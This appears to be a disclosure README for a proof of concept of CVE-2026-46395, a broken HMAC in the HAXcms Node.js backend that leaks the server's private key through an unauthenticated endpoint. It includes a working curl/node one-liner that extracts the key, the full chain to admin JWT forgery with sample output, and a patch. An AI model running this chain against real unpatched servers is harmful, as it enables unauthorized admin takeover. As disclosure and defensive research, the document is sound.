
PoC and writeup for CVE-2026-46395: unauthenticated private key disclosure via broken HMAC in HAXcms Node.js (CWE-321/CWE-200). Authorized security research only.
Proof-of-concept for authorized security testing and research only. The vulnerability described here is fixed in the latest release of HAXcms. This PoC is published so that defenders and researchers can verify the issue on unpatched instances they own or are explicitly authorized to test.
| CVE | CVE-2026-46395 |
| Component | HAXcms Node.js backend - haxcms-nodejs/src/lib/HAXCMS.js |
| Vulnerability | Hard-coded crypto key + private key disclosure (CWE-321, CWE-200) |
| Severity | Critical - CVSS 3.1 9.8 |
| Attack | Unauthenticated, single HTTP request, no user interaction |
| Status | Fixed upstream. Affects releases prior to the patch. |
| Project | elmsln/HAXcms |
| Reporter | Shreyas Challa ([email protected]) |
hmacBase64() in the HAXcms Node.js backend (src/lib/HAXCMS.js:2158-2163)
contains two cryptographic errors that together let any unauthenticated
attacker recover the server's master signing secret (privateKey + salt) and
forge admin-level JWTs.
// HAXCMS.js:2158-2163 - VULNERABLE
hmacBase64(data, key) {
var buf1 = crypto.createHmac("sha256", "0").update(data).digest(); // BUG 1: key hardcoded to "0"
var buf2 = Buffer.from(key); // BUG 2: the real key...
return Buffer.concat([buf1, buf2]).toString('base64') // ...is appended to the output
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
"0" is used as the signing key
instead of key, so the HMAC provides no secrecy.key (the system's
privateKey + salt) is concatenated onto the digest and base64-encoded into
the returned token.Every token therefore has the structure:
base64url( [32 bytes: HMAC-SHA256 keyed with "0"] [N bytes: privateKey+salt IN PLAINTEXT] )
An attacker base64-decodes any token, drops the first 32 bytes, and reads the
private key directly. The /system/api/connectionSettings endpoint is in the JWT
skip list (src/app.js) and returns several of these tokens with no
authentication, so a single GET request exposes the key.
The PHP backend (
HAXCMS.php:1619-1631) implements this correctly (keyed with the real key, returns only the digest → 44-char tokens). The broken Node.js version emits 139+ char tokens - a visible tell that extra data is embedded.
A single unauthenticated request yields full compromise:
GET /system/api/connectionSettings, base64-decode any token, drop the first 32 bytes.jwt.sign(payload, privateKey+salt).user_token, form_token, etc.This works even after the admin sets a strong password, and forged tokens produce no login events in logs.
poc_hmac_key_leak.js performs the entire chain end-to-end against a running
instance and prints each step verbosely: fetch tokens → extract key → verify key
→ forge JWT → forge request tokens → call an authenticated endpoint → create a
site to prove write access.
Stand up a local test instance:
git clone https://github.com/elmsln/HAXcms.git
cd HAXcms/haxcms-nodejs && npm install
node src/app.js # serves on http://localhost:3000
git clone https://github.com/shreyas-challa/CVE-2026-46395-haxcms-hmac-key-leak.git
cd CVE-2026-46395-haxcms-hmac-key-leak
npm install # pulls jsonwebtoken (used for JWT forgery)
node poc_hmac_key_leak.js http://localhost:3000
If jsonwebtoken is not installed the PoC still extracts and verifies the key,
and simply skips the JWT-forgery steps.
TOKEN=$(curl -s http://localhost:3000/system/api/connectionSettings \
| grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4)
node -e "const t='$TOKEN'.replace(/-/g,'+').replace(/_/g,'/');
console.log('Leaked key:', Buffer.from(t,'base64').slice(32).toString('utf8'));"
STEP 1: Fetch /system/api/connectionSettings (NO AUTH)
token length: 139 chars (a correct HMAC token is ~44)
STEP 2: Extract the private key from the token
Bytes 32+ (privateKey + salt in PLAINTEXT):
4b399844-...-...-db022bc6-fa42-4dae-a74e-4eb52a53461b
RESULT: Private key successfully extracted!
STEP 3: MATCH - extracted key is correct.
STEP 4: Forged JWT (user=admin) ...
STEP 7: SITE CREATED SUCCESSFULLY - full admin access confirmed.
Replace the broken function with a correct keyed HMAC that returns only the digest:
hmacBase64(data, key) {
return crypto.createHmac("sha256", key) // use the real key
.update(data)
.digest('base64') // return ONLY the hash
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
After patching:
privateKey and salt on every deployed instance - any previously
issued token contains the old key in plaintext (in HTTP responses, logs, and
browser history).Update to the latest HAXcms release, which contains the upstream fix.
This issue was reported to the HAXcms maintainers and fixed before publication. The PoC is released only after a patch was available. Use it exclusively against systems you own or are explicitly authorized to test.
This material is provided for defensive research, education, and authorized
security testing. Running it against systems without explicit permission may
be illegal. You are solely responsible for complying with all applicable laws
and for obtaining authorization before testing. Provided "as is" with no
warranty (see LICENSE).